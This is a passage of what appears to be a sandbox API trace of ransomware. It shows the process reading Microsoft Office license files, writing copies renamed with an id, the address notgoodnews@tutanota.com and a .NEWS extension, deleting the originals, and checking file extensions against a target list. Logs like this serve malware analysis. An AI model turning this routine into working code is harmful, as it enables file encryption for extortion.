lpOverlapped=0x0) returned 1 [0181.461] WriteFile (in: hFile=0x3f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x29c0, lpOverlapped=0x0) returned 1 [0181.462] ReadFile (in: hFile=0x544, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.462] WriteFile (in: hFile=0x3f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x11c, lpOverlapped=0x0) returned 1 [0181.462] SetEndOfFile (hFile=0x3f4) returned 1 [0181.471] CloseHandle (hObject=0x3f4) returned 1 [0181.471] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.471] SetEndOfFile (hFile=0x544) returned 1 [0181.486] CloseHandle (hObject=0x544) returned 1 [0181.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1 [0181.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.487] lstrlenW (lpString=".doc") returned 4 [0181.487] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.487] lstrlenW (lpString=".docx") returned 5 [0181.487] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.487] lstrlenW (lpString=".pdf") returned 4 [0181.487] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.487] lstrlenW (lpString=".xls") returned 4 [0181.487] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.488] lstrlenW (lpString=".xlsx") returned 5 [0181.488] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.488] lstrlenW (lpString=".ppt") returned 4 [0181.488] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.488] lstrlenW (lpString=".zip") returned 4 [0181.488] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.488] lstrlenW (lpString=".rar") returned 4 [0181.488] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.488] lstrlenW (lpString=".bz2") returned 4 [0181.488] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.488] lstrlenW (lpString=".7z") returned 3 [0181.488] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.488] lstrlenW (lpString=".dbf") returned 4 [0181.488] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.488] lstrlenW (lpString=".1cd") returned 4 [0181.489] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.497] lstrlenW (lpString=".jpg") returned 4 [0181.497] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.497] lstrlenW (lpString=".doc") returned 4 [0181.497] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.497] lstrlenW (lpString=".docx") returned 5 [0181.497] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.497] lstrlenW (lpString=".pdf") returned 4 [0181.497] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.497] lstrlenW (lpString=".xls") returned 4 [0181.497] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.497] lstrlenW (lpString=".xlsx") returned 5 [0181.497] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.497] lstrlenW (lpString=".ppt") returned 4 [0181.497] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.497] lstrlenW (lpString=".zip") returned 4 [0181.498] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.498] lstrlenW (lpString=".rar") returned 4 [0181.498] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.498] lstrlenW (lpString=".bz2") returned 4 [0181.498] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.498] lstrlenW (lpString=".7z") returned 3 [0181.499] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.499] lstrlenW (lpString=".dbf") returned 4 [0181.499] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.499] lstrlenW (lpString=".1cd") returned 4 [0181.499] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0181.499] lstrlenW (lpString=".jpg") returned 4 [0181.499] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.499] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.499] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 40 [0181.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.501] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11637) returned 1 [0181.501] CloseHandle (hObject=0x3f4) returned 1 [0181.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0181.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.502] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.502] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.504] GetLastError () returned 0x0 [0181.504] ReadFile (in: hFile=0x3f4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2d75, lpOverlapped=0x0) returned 1 [0181.507] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0181.509] ReadFile (in: hFile=0x3f4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.509] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x124, lpOverlapped=0x0) returned 1 [0181.509] SetEndOfFile (hFile=0x544) returned 1 [0181.510] CloseHandle (hObject=0x544) returned 1 [0181.510] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.510] SetEndOfFile (hFile=0x3f4) returned 1 [0181.515] CloseHandle (hObject=0x3f4) returned 1 [0181.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0181.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.517] lstrlenW (lpString=".doc") returned 4 [0181.517] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.517] lstrlenW (lpString=".docx") returned 5 [0181.517] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.517] lstrlenW (lpString=".pdf") returned 4 [0181.517] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.517] lstrlenW (lpString=".xls") returned 4 [0181.517] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.517] lstrlenW (lpString=".xlsx") returned 5 [0181.518] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.518] lstrlenW (lpString=".ppt") returned 4 [0181.518] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.518] lstrlenW (lpString=".zip") returned 4 [0181.518] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.518] lstrlenW (lpString=".rar") returned 4 [0181.518] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.518] lstrlenW (lpString=".bz2") returned 4 [0181.518] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.519] lstrlenW (lpString=".7z") returned 3 [0181.519] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.519] lstrlenW (lpString=".dbf") returned 4 [0181.519] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.519] lstrlenW (lpString=".1cd") returned 4 [0181.519] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.519] lstrlenW (lpString=".jpg") returned 4 [0181.519] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.519] lstrlenW (lpString=".doc") returned 4 [0181.519] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.519] lstrlenW (lpString=".docx") returned 5 [0181.519] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.519] lstrlenW (lpString=".pdf") returned 4 [0181.520] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.520] lstrlenW (lpString=".xls") returned 4 [0181.520] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.520] lstrlenW (lpString=".xlsx") returned 5 [0181.520] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.520] lstrlenW (lpString=".ppt") returned 4 [0181.520] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.520] lstrlenW (lpString=".zip") returned 4 [0181.520] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.520] lstrlenW (lpString=".rar") returned 4 [0181.520] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.520] lstrlenW (lpString=".bz2") returned 4 [0181.520] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.520] lstrlenW (lpString=".7z") returned 3 [0181.520] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.520] lstrlenW (lpString=".dbf") returned 4 [0181.520] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.520] lstrlenW (lpString=".1cd") returned 4 [0181.520] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0181.520] lstrlenW (lpString=".jpg") returned 4 [0181.520] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.521] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.521] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 40 [0181.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.522] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19982) returned 1 [0181.522] CloseHandle (hObject=0x3f4) returned 1 [0181.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0181.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.523] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.523] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.525] GetLastError () returned 0x0 [0181.525] ReadFile (in: hFile=0x3f4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x4e0e, lpOverlapped=0x0) returned 1 [0181.529] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x4e10, lpOverlapped=0x0) returned 1 [0181.531] ReadFile (in: hFile=0x3f4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.532] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x124, lpOverlapped=0x0) returned 1 [0181.532] SetEndOfFile (hFile=0x544) returned 1 [0181.532] CloseHandle (hObject=0x544) returned 1 [0181.532] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.532] SetEndOfFile (hFile=0x3f4) returned 1 [0181.666] CloseHandle (hObject=0x3f4) returned 1 [0181.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0182.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.276] lstrlenW (lpString=".doc") returned 4 [0182.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.276] lstrlenW (lpString=".docx") returned 5 [0182.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.276] lstrlenW (lpString=".pdf") returned 4 [0182.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.276] lstrlenW (lpString=".xls") returned 4 [0182.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.276] lstrlenW (lpString=".xlsx") returned 5 [0182.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.276] lstrlenW (lpString=".ppt") returned 4 [0182.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.276] lstrlenW (lpString=".zip") returned 4 [0182.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.276] lstrlenW (lpString=".rar") returned 4 [0182.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.276] lstrlenW (lpString=".bz2") returned 4 [0182.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.276] lstrlenW (lpString=".7z") returned 3 [0182.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.277] lstrlenW (lpString=".dbf") returned 4 [0182.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.277] lstrlenW (lpString=".1cd") returned 4 [0182.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.277] lstrlenW (lpString=".jpg") returned 4 [0182.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.277] lstrlenW (lpString=".doc") returned 4 [0182.277] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.277] lstrlenW (lpString=".docx") returned 5 [0182.277] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.277] lstrlenW (lpString=".pdf") returned 4 [0182.277] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.277] lstrlenW (lpString=".xls") returned 4 [0182.277] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.277] lstrlenW (lpString=".xlsx") returned 5 [0182.277] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.277] lstrlenW (lpString=".ppt") returned 4 [0182.277] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.278] lstrlenW (lpString=".zip") returned 4 [0182.278] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.278] lstrlenW (lpString=".rar") returned 4 [0182.278] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.278] lstrlenW (lpString=".bz2") returned 4 [0182.278] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.278] lstrlenW (lpString=".7z") returned 3 [0182.278] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.278] lstrlenW (lpString=".dbf") returned 4 [0182.278] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.278] lstrlenW (lpString=".1cd") returned 4 [0182.278] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0182.278] lstrlenW (lpString=".jpg") returned 4 [0182.278] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.278] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0182.278] lstrlenW (lpString="HomeBusinessR_Grace-ppd.xrm-ms") returned 30 [0182.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.310] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=22033) returned 1 [0182.310] CloseHandle (hObject=0x36c) returned 1 [0182.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220 [0182.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft 